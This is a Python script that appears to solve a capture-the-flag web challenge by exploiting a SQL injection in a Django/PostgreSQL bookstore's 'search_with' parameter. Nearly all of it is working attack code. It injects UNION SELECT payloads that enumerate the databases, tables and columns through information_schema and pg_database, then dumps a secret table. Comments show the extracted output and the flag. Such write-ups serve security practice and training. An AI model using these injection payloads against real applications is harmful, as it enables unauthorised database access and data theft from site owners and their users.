import requests from bs4 import BeautifulSoup URI = "http://libreriapro37657fd3.sstf.site" params = { "key": 2016, "search_with": "year", "currency":"krw" } def _request(params): resp = requests.get(URI, params=params) soup = BeautifulSoup(resp.text, 'html.parser') for td in soup.select('td'): if "None" not in td.get_text(): return td.get_text() params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(datname,','), null, null, null, null, null, null, null, null from pg_database -- a" print(f"[database] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(table_name,','), null, null, null, null, null, null, null, null from information_schema.tables where table_schema like 'books' -- a" print(f"[table] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(column_name,','), null, null, null, null, null, null, null, null from information_schema.columns where table_name like 'impl_t0p5ecr3t' -- a" print(f"[columns] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(value,','), null, null, null, null, null, null, null, null from impl_t0p5ecr3t -- a" print(f"[impl_t0p5ecr3t][value] {_request(params.copy())}") # >> [database] postgres,template1,template0,books # >> [table] django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user,auth_user_groups,auth_user_user_permissions,django_admin_log,impl_books,django_session,impl_t0p5ecr3t # >> [columns] id,key,value # >> [impl_t0p5ecr3t][value] Nice!,SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te}